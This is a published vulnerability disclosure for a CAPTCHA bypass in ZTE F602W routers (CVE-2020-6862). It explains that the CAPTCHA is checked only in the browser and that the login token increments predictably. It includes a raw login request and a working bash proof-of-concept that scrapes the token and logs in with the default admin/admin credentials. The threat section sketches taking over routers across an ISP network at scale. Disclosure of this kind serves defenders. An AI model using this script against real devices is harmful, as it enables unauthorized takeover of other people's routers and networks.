ZTE F602W CAPTCHA Bypass

`# Exploit Title: ZTE Router F602W - Captcha Bypass   
# Exploit Author: Hritik Vijay (@MrHritik)  
# Vendor Homepage: https://zte.com.cn  
# Reported: 2019-06-14  
# Version: F6x2W V6.0.10P2T2  
# Version: F6x2W V6.0.10P2T5   
# Tested on: F602W   
# CVE: CVE-2020-6862  
  
Background  
-----------  
Captcha is used to make sure the form is being filled by a real person  
than an automated script. This is a very popular safety measure and  
bypassing it could lead to potential compromise.  
  
Introduction  
------------  
While logging in to the affected device you are presented with a  
username, password and captcha field. Submitting the form results in an  
HTTP request being sent out to /checkValidateCode.gch to validate the  
captcha, if valid it goes on to really submit the login request. This  
can be easily bypassed as this is a client side verification. One can  
always ignore the response and proceed to forcefully submit the form via  
Javascript (via calling the subpageSubmit() method).  
A typical login request looks like this:  
  
POST / HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.1/  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 101  
Connection: close  
Cookie: _TESTCOOKIESUPPORT=1  
Upgrade-Insecure-Requests: 1  
  
frashnum=&action=login&Frm_Logintoken=2&Username=admin&Password=admin&Validatecode=literally_anything  
  
Though, firing the same request twice fails with a text on the top  
saying "Error". This pretty much defeats our purpose. It turns out that  
on every login attempt, the parameter Frm_Logintoken gets incremented by  
one and is required to match the server side value. This can pretty  
easily be achieved by some pattern matching. Thus allowing any script  
to bypass the captcha and log in.  
  
Threat  
-------  
A captcha bypass can really help in bruteforcing the credentials but  
luckily the router limits the login trials to 3 attempts. In real  
world though, things are a bit different.   
The affected ZTE router comes with a default password. Given that the   
devices on a same ISP network can access each other, it would be a   
matter of time before someone writes a script to log in to every router   
in the network and take control of it.  
  
PoC  
-------  
  
#!/bin/bash  
  
SERVER=192.168.1.1  
USER="admin"  
PASS="admin"  
  
getToken(){  
curl -s --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER | grep 'Frm_Logintoken")' | cut -d\" -f4  
}  
  
Frm_Logintoken=`getToken`  
  
s=$(curl -sv --data "frashnum=&action=login&Frm_Logintoken=$Frm_Logintoken&Username=$USER&Password=$PASS" --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER -w "%{http_code}" -o /dev/null 2> /tmp/zte_cookie)  
if [[ $s -eq 302 ]]; then  
echo "Logged in"  
echo "Open http://$SERVER/start.ghtml"  
echo `grep -o Set-Cookie.* /tmp/zte_cookie`  
else  
echo "Failed"  
fi  
`